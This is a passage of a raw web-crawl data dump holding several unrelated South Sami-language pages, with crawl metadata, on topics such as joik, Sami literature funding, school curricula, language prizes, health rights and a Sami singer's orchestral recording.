vaejvesne. Voestegh altese baernie jaami, jïh dellie – ajve naan gille askh minngelen – dle baernien måersie aaj jaemieraadtan. Goh lij altese gaelmien balte tjåadtjoen jïh guektiengïerth sårkosne dellie voeresgåmma idtji buektehth damtesidie doelehtidh. Jïjtje bååhpere jïh jeatjebidie aaj gosse dallah vualan skejkehte. Tjamki gïeline joejkeste tjïelke tjoejine jïh ij seahkerh mij sov bïjre lea, dellie easkah damta sårkoe jaadtehte. Joejkemen tjïrrh sealoefaamoem starnedahta jïh maahta båetije biejjide dåastodh.\nAelhkie munnjien dagkeres deahpadimmiem guarkedh, juktie manne leam jïjtje – geerve almetjine –åådtjeme joejkemem kroehkedh ööjeldihkien våårhkoesijjeste, jalhts ij dagkeres bååktjehke hujnies tsiehkesne.\nAavosne aaj maahta vualan skejkiehtidh. Muvhtine almetjine lea vöörhkeme vueliemaahtoem, jïh dellie maahta fæjjoen damtesistie fahkestidh. Siebriebarkojne, gosse lea sjeltiem vuj jeatja tjåahkoem, dellie sïejhme noerh jïh geervealmetjh biejjien darjomesi mænngan gaavnesjieh murriedidh. Aktem dagkeres tjåanghkanimmeste leam soetem govleme. Almetjedåehkien kraajeste dallah govloe, voeresi sommemen gaskesne tjoejem mij noeri skovhtjemem tjïrrehte – lïenes joejkemem. Almetjh mah bïjre tjåadtjoeminie dam vueptiestieh. Eevre goh maam joem orres govloeh. Lea voeres almetje mij joejkeste juktie lea aajhtseme göökte noerh sinsitniem gaavneme. Voeresen mïelesne mejjeles domtesem, jïh åtna daate lea buerie ektiedimmiem sijten jïh lahkoen jåerhkenæmman. Joejkemine aavoem vuesehte, jïh noeride guaktajde daejrehte voeresboelven jaefiestimmiem åådtjeme.\nNimhtie joejkeme maahta vihties deahpadimmide jielemisnie veadtasovvedh, jïh maahta veadtetjine årrodh almetji gaskemsh.\nJïjnjh almetjh mannem gihtjeme: Gåessie dån eelkih joejkedh? Im annje maahteme moenedh mennie aejkiemïeresne. Mohte mænngan jïermestalleme dle måjhtajim aahka utni mannem eelhpedh dejnie: Datne lih joejkeminie goh reakasovvih, jïh aahtjedh joejkemine böötih!\nHævvi im maehtieh daam mujhtedh, mohte måjhtam vuelide mah tjidtjie utni laavlodh goh mijjem suvhtiehti. Jïh gosse daejtie vuelide ånnetji jeatjhlaakan tsaapmemem biejem, dellie vueptestem darhke joejkemen tjoejide maanabaelesne suvtiehtovvim.\nVoeresbiejjine leam muvhten aejkien fïerhten beajjetje nossemine tjöödtjestamme åtnam dovletji novtah tjoejh govlem. Joekoen jis aktem mov åemies laevide ussjelisisnie båateme. Åhtsoes laeviej joejkemetjoejh dellie munnjien båetieh nov goh vaajtelieh ööjeldihkeste baajedh. Dellie hov lea buerie damtesem.\nManne leam åådtjeme damtedh guktie jeatjabidie aaj aavosne sjidtieh gosse mijjen båeries joejkemh jealadehteme. Dan åvteste buerie bïevsterisnie joejkestem konsertetjiehtjeline, feastivaline, radijovesne jïh smaavebe almetjetjåahkosne. Man åvteste leam daam vaadtesem åådtjeme, jis ij leah veele dan sjïeken vïerhtine utnedh Noerhterijhki kultuvrebyjreskide vuesiehtidh mijjieh saemieh easkah nuepiem gaavneme guktie mijjen jïjtjedamtesem jïh identiteetem nænnoestidh mijjjen jïjtsh åålmehmusigken tjïrrh, joejkemem, jïh mijjen gïelen viehken? Jïh mijjen leah reaktah jïjtsh damtesidie åålmehtidh sealoen faamoj tjïrrh. Tjoeveribie lïeredh jïjtjeme dåhkasjibie jïh gaajhke mij lea mijjen.\nDellie easkah maahta vaajmoem jïh eskiem rihpestidh kraannas almetjide, boerehks- jïh bårrohksalmetjide. Dellie libie reaktam vitneme jieledh jïh mijjen minngieboelvh maehtieh elties vueliej nille lutnjiesovvedh jïh 2000 jaepide girtedh, orre aejkiej soejkesji buerie mïelesne.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/www.calliidlagadus.org\/web\/index.php?sladja=51&vuolitsladja=65&vuolitvsladja=153","date":"2020-08-06T10:43:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439736902.24\/warc\/CC-MAIN-20200806091418-20200806121418-00038.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":654,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2000\nGiele\nISBN\n9179481620\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n109\nDen sista rajden – samer berättar om livet förr, gærja daaroengïelesne, saemiej bïjre jïh dejpeli båatsoejielemen bïjre. Båeries saemieh soptsestieh maana baersieldimmien bïjre juhtiemisnie, gosse skuvlesne, gosse sjovnestin jïh trïengkestin, bovtsi gujmie juhtin, guktie årroejin, buhtjemen bïjre jïh gaajhkh jeatjah barkoe bovtsi luvnie. Daesnie soptsesh dej jieleden bïjre jïh aarkebiejjeste. Gærjan leah jïjnjh båeries guvvieh.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ovttas.no\/sma\/girji_den-sista-rajden","date":"2020-08-15T16:51:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439740929.65\/warc\/CC-MAIN-20200815154632-20200815184632-00318.warc.gz","language":"sma","language_score":0.9999866486,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999866485595703}","num_words":70,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie lea 2 millijovnh kråvnah saemien litteratuvrese joekedamme. Daan jaepien saemiedigkieraerie lea julev- jïh åarjaelsaemien maanajlitteratuvrem prijoriteradamme, jïh Tröndelagen fylhkegærjagåetie 230 000 kråvnah åådtje maanajgærjide åarjelsaemiengïelese jarkoestæmman.\nSaemiedigkie Tröndelaagen fylhkegærjagåetiem girmie åarjelsaemien jarkoestimmien åvteste.\n-Mijjieh libie råajvarimmine åarjelsaemien dajvesne lahkaskamme, gusnie jaepiej bijjeli gellie almetjh leah ovmessie åarjelsaemien maanajgærjide luejhteme, saemiedigkieraerie Henrik Olsen jeahta.\nSaemiedigkie lea gellie ohtsemh litteratuvre-aktöövrijste åådtjeme. Gaajhkh ohtsijh leah syökeme 2,85 millijovnh kråvnah åadtjodh.\n-Gosse saemiedigkieraerie lea veeljeme medtie 2 millijovnh kråvnah litteratuvrese vedtedh, dellie daate vuesehte gellie litteratuvreohtsemh orreme, saemiedigkieraerie Henrik Olsen (NSR) jeahta.\nOhtsemh joekehtsh jïh heevehtslitteratuvre jïh faagelitteratuvre dovne maanide, noeride jïh geervide.\nFylhkegærjagåetie Tröndelaagesne jïh Árran julevsaemien jarnge laavenjassh åadtjoeh maanajgærjide julev- jïh åarjelsaemiengïelese jarkoestidh.\nLitteratuvre noeride joekoen daerpies jïh vihkeles, jïh daan aejkien saemiedigkie aaj sæjhta noeride prijoriteradidh. Thomas Hansen doarjoem åådtje minngemes gærjam The Hunger Games-triologijem jarkoestidh.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/saernieh.no\/230-000-kravnah-aarjelsaemien-maanajgaerjide\/","date":"2020-08-04T05:14:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735860.28\/warc\/CC-MAIN-20200804043709-20200804073709-00270.warc.gz","language":"sma","language_score":0.9999887943,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999887943267822}","num_words":132,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Doh jeanatjommes plaerieh, våhkoe-plaerieh jïh nedte-sijjieh jïjtsh (nedte)sæjroeh utnieh gusnie lohkijh maehtieh sijjen mïelem jiehtedh aamhtesi bïjre mejtie tuhtjieh vihkeles. Ij naan byjjes njoelkedassh gååvnesh guktie dagkerh lohkije-tjaalegh edtjieh vååjnedh, men daesnie naan raerieh åadtjoeh.\nSisvege aktene lohkije-tjaalegisnie\nAkte lohkije-tjaalege edtja ajve akten aamhtesen bïjre årrodh, jïh ij tjoerh fer guhkie årrodh. Datne edtjh persovneles tjaeledh, aath gïeregasse bïejedh jïh tjïelke vuajnoem utnedh aamhtesen bïjre. Men tjoerh læjhkan mujhtedh mubpiej almetji bïjre dåajmijeslaakan tjaeledh.\nLohkije-tjaalegh gusnie mubpieh almetjh dïebleste, jallh gusnie kruepies eadtoedimmiejgujmie båata, sveekes trygkesuvvieh. Vaallah tjeakoes tjaalegh trygkesuvvieh. Maahtah birredh dov nomme ij tjaalasovvh, men redaksjovne tjuara daejredh gie datne leah.\nBijjie-baakoe\nLohkije-tjaalege byöroe aktem våajnoes bijjie-baakoem utnedh mij lastoem vadta vielie lohkedh. Bijjie-baakoe maahta akte gyhtjelasse årrodh maam datne bæjjese vaaltah jïh vaestedh teekstesne. Akte jeatjah nuepie lea datne joe bijjie-baakosne dov mïelem buaktah jïh dan mænngan dov mïelem tjïelkeste.\nAalkoe\nAelkieh dov lohkije-tjaalegem aktine åehpiedehtieminie aamhtesistie lohkijasse. Dastegh akten lohkije-tjaalegasse vaestedh aktede jeatjah almetjistie, tjoerh daan teekstese vuesiehtidh. Datne åenehkslaakan neebnh man bïjre tjaalege, jïh dan mænngan jïjtjedh mïelem tjaalah.\nÅejvie-boelhke\nAktene lohkije-tjaalegisnie ij leah nuekie sijjie gaajhkh bielieh akten aamhtesen bïjre åehpiedehtedh. Lohkijh aaj veanhtadieh datne dov vuajnoem buaktah, guktie datne byörh dej argumeenti bïjre tjaeledh mah dov mïelem dåarjoehtieh. Veeljh göökte golme biehkieh mejtie datne tuhtjh vihkielommes.\nGalhkuve\nMaahtah tjaalegem galhkedh gellielaakan. Jis gyhtjelassem bijjie-baakosne åtneme, byörh dov vaestiedassine båetedh galhkuvisnie. Men datne maahtah vuesiehtimmien gaavhtan mubpesth jiehtedh dov mïelem aamhtesen bïjre, maahtah haestieminie båetedh lohkijidie jallh dejtie gyhtjelassem gihtjedh. Mujhtieh aaj gaajhkh lohkije-tjaalegh tjuerieh vuelie-tjaalegem utnedh.\nBaakoeh\nSaemien\nDaaroen\neadtoedimmie\nfornærming\ngïeregasse\npå spissen\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\n- Kjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nKronihke: Vaajmoe-gïeleKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:178623","date":"2020-09-22T18:31:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206329.28\/warc\/CC-MAIN-20200922161302-20200922191302-00669.warc.gz","language":"sma","language_score":0.9999819994,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999819993972778}","num_words":329,"character_repetition_ratio":0.125,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n- Maahtaldahkeulmieh\n- Faagem vierhtiedidh\nMaahtoeulmieh 2. daltesen mænngan\nGïelelïerehtimmieMål for opplæringen er at eleven skal kunne\n- såemies vuesiehtimmieh vedtedh gåessie maahta nuhteligs årrodh eengelskem maehtedh\n- baakoeh jïh lahtesh gaavnedh mah leah tjåenghkies eengelsken gïelese jïh jïjtse ietniengïelese\n- digitaale vierhtieh nuhtjedh juktie gïelem dååjredh\nNjaalmeldh govlesadtemeMål for opplæringen er at eleven skal kunne\n- goltelidh jïh eengelske gïeletjoejh nuhtjedh praktihkeles-estetihkeles soptsestimmievuekiej tjirrh\n- goltelidh jïh guarkedh aelhkie bïhkedassh eengelsken gïelesne\n- goltelidh jïh baakoeh jïh lahtesh guarkedh eengelskegïelen rijmine, raajrojne, laavloeminie, heamturinie jïh soptsesinie\n- guarkedh jïh naan eengelske baakoeh, lahtesh jïh raajesemaallh nuhtjedh, gietskies byjreski jïh jïjtse ïedtji bïjre\n- healsoehtidh, gihtjedh jïh vaestiedidh aelhkie gyhtjelassh jïh naan dåajmijes lahtesh nuhtjedh\n- meatan årrodh dijalogine mejtie haarjanamme jiehtedh, jïh faahketji soptsestimmine gietskies byjreski jïh jïjtse dååjresi bïjre\n- taalh nuhtjedh gosse lïhke byjreski bïjre jïh jïjtse dååjresi bïjre soptseste\nTjaaleldh govlesadtemeMål for opplæringen er at eleven skal kunne\n- ektiedimmiem damtijidh gaskem naan eengelsken gïeletjoejh jïh staavadimmiemaallh\n- eksperimenteradidh lohkedh jïh tjaeledh eengelske baakoeh, lahtesh jïh aelhkie raajesh mah leah gietskies byjreski jïh jïjtse ïedtji bïjre\nKultuvre, siebriedahke jïh lidteratuvreMål for opplæringen er at eleven skal kunne\n- soptsestidh guktie maanaj aarkebiejjie lea eengelskegïelen laantine\n- meatan årrodh jïh maanakultuvrem dååjredh eengelskegïelen laantijste viehkine baakoeh, guvvieh, musihkem nuhtjedh jïh svihtjedh\n- jïjtsh dååjresh soptsestidh eengelskegïelen rijmijste, raajrojste, laavloemijstie, heamturijstie jïh soptsesijstie\nSide 6 Av 11","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/ENG1-03\/Hele\/Kompetansemaal\/maahtoeulmieh-2.-daltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-18T07:53:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400187354.1\/warc\/CC-MAIN-20200918061627-20200918091627-00389.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000052452087402}","num_words":218,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Gåetide\n- Kursh\n- prosjekth\n- Gïele lïerehtimmie\n- Govlehtallh mijjine\nLearoevierhtieh domtesi bïjre\nSaemien lohkemejarnge plakaatem aamhtesinie domtesh 2019 dorjeme åarjel-, julev-, jïh noerhtesaemiengïelesne. Mænngan libie bïhkedimmiem, filmem, jïh kåarhth mah ååredæjjah jïh baakoeh plakaateste vuesiehtieh, dorjeme.\nBïhkedimmie domtesi bïjre, maadtojne saemien gïelesne jïh kultuvresne jïh ulmiedåehkie lea maanagïerth jïh skuvlh saemien maanaj- jïh noerigujmie. Bïhkedimmie raereste v.g. guktie maahta domtesigujmie barkedh saemien vååjnesistie (perspektijveste). Bïhkedimmien sisvege lea maanagïerten mieriesoejkesjen jïh Maahtoelutnjemen 2020 saemien mietie sjïehtelovveme.\nMijjieh learoevierhtieportaaline Ovttas – Aktan – Aktesne jïh SANKSen psykolåågigujmie Anne Lene Turi Dimpas jïh Margrethe Bals Utsi ektine laavenjosteme jïh filmem dorjeme guktie maahta domtesi bïjre maanaj- jïh noerigujmie soptsestidh. Filme noerhtesaemiengïelesne, men edtja aaj åarjel- jïh julevsaemiengïelese sjïehtelovvedh, UNESCO prosjeektem dåarjoehtamme.\nKåarhth maahta v.g. provhkedh gosse edtja \"Njieljekåarhth\", \"Snap\", \"kortskalle\", \"Jeatjah baakoejgujmie\", \"Mimespïele\" jallh jeatjah spïelh spïeledh. Jeatjah raeriestimmieh maahtah bïhkedimmesne gaavnedh.\nSaemien lohkemejarnge daaj vierhtiejgujmie vaajtele viehkiehtidh guktie maanagïerth jïh skuvlh vierhtieh åadtjoeh aamhtesinie domtesh barkedh.","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/lohkanguovddas.no\/sma\/giele-lierehtimmie\/jeatjah-bievnesh\/learoevierhtieh-domtesi-bijre","date":"2020-10-30T02:26:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107906872.85\/warc\/CC-MAIN-20201030003928-20201030033928-00689.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":148,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåetieh jïh tseegkeldahkh leah vihkeles gaaltije daajrose jïh histovrijasse saemien voenges siebriedahki bïjre. Daan biejjien mijjen lea daajroe ovrehte 900 vaarjeldihkie saemien gåetiej bïjre. Gåetieh saemien histovrijinie gaajhkine bieline Saepmeste gååvnesieh. Dah vuesiehtieh saemieh desnie hööllestamme jïh orreme, dovne joekoen «åehpies» saemien dajvine jïh daaroedehteme dajvine mah jïjnjem sijjen saemien ektiedimmeste dasseme. Saemiedigkie edtja hoksedh gåetieh aarvojne jïh vaarjelimmievyörtegs gåetieh jïh tseegkeldahkh gorresuvvieh areaalesoejkesjinie jïh råajvarimmine mejtie tjïelth soejkesjieh.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/vaarjelamme-jih-vaarjelimmievyortegs-gaetieh\/","date":"2020-10-30T16:30:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00217.warc.gz","language":"sma","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000072717666626}","num_words":68,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarebi baalhkadåastojh:\n2018\nGïelebaalhka juakasovvi gaskem Karin Tuolja Jåhkåmåhkeste Sveerjesne sov barkoen åvteste julevsaemien gïelen åvteste jïh Jekaterina Mechkine Murmanskeste Russlaantesne sov barkoen åvteste kildinsaemien gïelen åvteste.\n2016\nNjieljie almetjh Gïelebaalhkam 2016 juekiejin. Máret Steinfjell jïh Inga Márja Steinfjell baalhkam åadtjoejigan gaskem jeatjah åarjelsaemien talkshowen åvteste Steinfjell & Steinfjell. Kirsi Paltto jïh Jan Skoglund Paltto baalhkam åadtjoejigan sotnen barkoen åvteste noerhte-, julev- jïh åarjelsaemien gïelem eevtjedh gellie jaepieh.\n2014\nGolme almetjh gïelebaalhkam åadtjoejin 2014. Saemienlohkehtæjja jïh dotkije Mikael Svonni, tjaelije Kerttu Vuolab jïh luvliesaemien lohkehtæjja Seija Sivertsen gïelebaalhkam juekiejin 2014.\n2012\nGïelebaalhka 2012 juakasovvi gaskem Divvun jïh Giellatekno Romsen universiteetesne sijjen barkoen åvteste teknologeles dïrregh darjodh saemien gïelide, jïh Aleksandra Andrejevna Antonova jïh Nina Jeliseevna Afanasjeva sotnen barkoen åvteste kildinsaemien gïelen åvteste.\n2010\nGöökte saemien nyjsenæjjah, Máret Sárá jïh Lajla Mattsson Magga gïelebaalhkam juekiejigan 2010. Sárá lea goh lohkehtæjja, journaliste jïh tjaelije noerhtesaemien gïelem evtiedamme. Dïhte jienebh learoegærjah, rijme- jïh raajroegærjah maanide bæjhkoehtamme jïh gærjah saemien vaajesigujmie. Mattsson Magga lea åarjelsaemien gïelem vaarjelamme jïh evtiedamme. Dïhte aaj åarjelsaemien gïelesne ööhpehtamme, åarjelsaemien baakoegærjah evtiedamme jïh dovne tjiehpieslidteratuvrem jïh faageles gærjah bæjhkoehtamme. Lissine gïelematerijaalem sïjse tjöönghkeme jïh jarkoestamme.\n2008\nVitnijh 2008 lin siebrie Sami Siida Utsjokesne Såevmesne, jïh gïelebarkije Henrik Barruk Luspeste Sveerjesne. Sami Siida lea 1970-låhkoen raejeste saemien gïelen sijjien åvteste barkeme Utsjoken tjïeltesne. Henrik Barruk lea upmejesaemiem dokumenteradamme jïh jieliehtamme gellie jaepieh.\n2006\nHarald Gaski jïh Jouni Moshnikoff gïelebaalhkam åadtjoejigan 2006. Jouni Moshnikoff earoem åadtjoeji akten stoerre jïh guhkies barkoen åvteste skoltesaemien\/luvliesaemien gïelem eevtjedh, joekoen learoegærjah jïh learoevierhtieh evtiedidh. Harald Gaski maahta akten vijries gïeleevtiedimmiebarkose vuesiehtidh jïh lea sov dotkemen tjïrrh viehkiehtamme statusem lutnjedh saemiengïeleldh lidteratuvrese.\n2004\nElla Holm Bull jïh Anarâkielâ servi (Enaresaemien siebrie) lin voestes vitnijh gïelebaalhkeste Gulliegïele. Ella Holm Bull (1929-2006) abpe jieleden barki juktie åtnoem åarjelsaemien gïeleste eevtjedh goh njaalmeldh jïh tjaaleldh gïele. Anarâkielâ servi lea vihkeles jieliehtimmiebarkoem dorjeme juktie enaresaemien gïelem eevtjedh.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/giele\/gulliegiele-noerhtelaanti-saemien-gielebaalhka\/","date":"2020-10-30T16:31:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00490.warc.gz","language":"sma","language_score":0.999661088,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996610879898071}","num_words":290,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien kreatijve jieliemisnie dovne artisth, hammoedæjjah, tjiehpiedæjjah jnv. Kreatijve jieliemisnie fokusem utnebe sïelten ekonomeles bealan, guktie sïelte maahta beetnegh dïenesjidh jïh guktie sïelte edtja nænnoes sjïdtedh guktie maahtah jieliemassem åadtjodh destie mejnie gïehtelh. Dïhte lea åejviefokuse.\nSaemien kreatijve jieliemisnie gellie smaave sïelth, daamtaj aktegsaajhteresïelth, jïh seammalaakan goh dah mah saemien fealadassen sisnjelen gïehtelieh, jeenjesh barkoem baalte utnieh. Mijjieh jienebh sïelth daan jielemen sisnjelen daarpesjibie mah dïenestem vedtieh guktie lea stoerre nuepieh. Saemiedigkie lea dan åvteste sïelteevtiedimmieprogrammen tjïrrh Faamoe, fokusem åtneme mïerhkevaaroem sïeltide nænnoestidh jïh ekonomijestuvremem sïeltesne nænnoestidh.\nSjugniedihks jieleme - akte ovnuhteme nuepie. Saemiedigkieraerien dahkoesoejkesje kultuvrelle- jïh sjugniedihks jieliemasse (PDF, 4 MB)","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/sametinget.no\/jieleme\/kreatijve-jieleme\/","date":"2020-12-05T11:59:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141747774.97\/warc\/CC-MAIN-20201205104937-20201205134937-00639.warc.gz","language":"sma","language_score":0.9999827147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999827146530151}","num_words":100,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Obs! Detta val innebär att du inte ser regionalt innehåll och viktig information som gäller just din region.\nBesök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nVueptesth covid-19:n symtovmide. Vaarjelh datnem jïh mubpide suetiem geerjehtidh\nFör att bromsa spridningen av covid-19 gäller nu skärpta lokala råd i Jämtland Härjedalen. Du som bor i eller besöker länet behöver följa dessa råd.\nDatne mij lea bieline aktede nasjonaale unnebelåhkoste, dov lea muvhti veajkoej reakta dov gïelem nuhtjedh gosse healsoedïenesjinie gaskesadth. Vuartesjh daesnie mij lea faamosne ovmessie tsiehkine.\nSkïemtjijelaake dutnjien gie skïemtjije. Dïhte buerkeste edtjh bïevnesh åadtjodh dov skïemtjelassen bïjre jïh mah båehtjierdimmieh gååvnesieh. Dellie maahtah meatan årrodh jïh dov hoksem nænnoestidh. Edtjh aaj åadtjodh daejredh gusnie maahtah dov hoksem veeljedh maam daarpesjh.\nDenna webbplats använder cookies för att ge alla besökare ökad funktionalitet och service. Läs mer om cookies.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/www.1177.se\/sma-se\/Jamtland-Harjedalen\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/","date":"2020-12-06T01:35:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141753148.92\/warc\/CC-MAIN-20201206002041-20201206032041-00676.warc.gz","language":"sma","language_score":0.9982923269,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9982923269271851}","num_words":140,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Les saken på norsk: Marjas verk om farmor kan bli internasjonal suksess\nEbries biejjie Oslosne skïereden.\nDennie vyörtegs savkesne Store studio dovne dirigente jïh 51 musihkerh Kringkastingsorkesteristie stïeresne. Dah leah riejries sijjen ellen voestes åarjelsaemien plaatam sïjse spealadidh.\nEevre oktegh, aktene båvvesne man sistie jïh sïjse ij naan tjoejenasse båetieh, åejviealmetje tjåådtje. Marja Mortensson lea åehpies akten gïelen åvteste maam jeenjesh gåhtjoeh bijjelen daam eatnemem, men daesnie altese gïele ij mahte govlesovvh. Tjoeje dejstie gellie instrumentijste tjiehtjelem deavhta.\nDaelie voestes biejjie baantedimmine, men tjuerieh ånnetji tjöödtjestidh gellien aejkien. Gaajhkesh mah leah desnie sijhtieh daate edtja dan hijven sjïdtedh goh gåarede.\n–Vaeltebe nommerem 32, dirigente jeahta.\nTrompeete tjuara buerebelaakan govledh jïh haarpa tjuara vielie tjoejem utnedh. Daate lea detaljh mejtie mijjieh sïejhme almetjh eah måjhtelh, men mah leah dan joekoen vihkeles sjïehtesjidh.\nIj leah dan stoerre sijjie dennie onne båvvesne. Muvhten aejkien Marja olkese båata. Ånnetji vitnede. Studiosne årrodh lea akte haarjanimmie mij jïjnjem kreava dovne gïeleste jïh åedtjijste.\nAaj gellie smaave soptestallemh gaskem öörnedæjja Daniel Herskedal jïh dirigente Christian Eggen. Dennie gaskesne dovne artiste jïh orkestere vuertieminie mubpiem bïhkedassem åadtjodh.\nAehtj-aahkan soptsesh orre jieledem åadtjoeh\nMaahta tjïelkelaakan vuejnedh daate prosjekte joekoen lïhke jïh persovneles domtoe Marja Mortenssonese. Juktie daelie edtja aehtj-aahkan soptsesh akten nåhkeme tïjjen bïjre soptsestidh, vueline jïh tovnajgujmie.\nMarja Mortensson\nIktesth leam sïjhteme dam aajmoem kreemsedh mij vïenhtem gååvnesi don aejkien gosse mov aahkah gon aajjah byjjenin. Akte baelie mij ij vielie gååvnesh\nMarja ovrehte göökte jaepieh nuhtjeme vierhkiem «Raajroe» - The Reindeer Caravan darjodh. Voestesiereste edtji dam åehpiedehtedh åarjelsaemien festivaaleste Raasten rastah tjaktjen 2020.\nMen goh gellie jeatjah stuerebe öörnedimmiejgujmie dle tjoeri aaj dejnie vuertedh koronapandemijen gaavhtan. Haarjanimmiebiejjieh dan åvteste jorkesin sïjsespealadimmiebiejjide.\nKonserte Rørosesne aaj sjædta, men tjuara aktem jaepiem vuertedh.\nDan varke naaken dam rööpses tjoevkesem vihth båaltajahta, gaajhkesh tjöödtjestieh jallh soejmetje tjiehtjelen tjïrrh njaekieh. Ij guhte sïjhth daate almetje årrodh mij baantedimmide goepedahta.\n–Soejkesje A 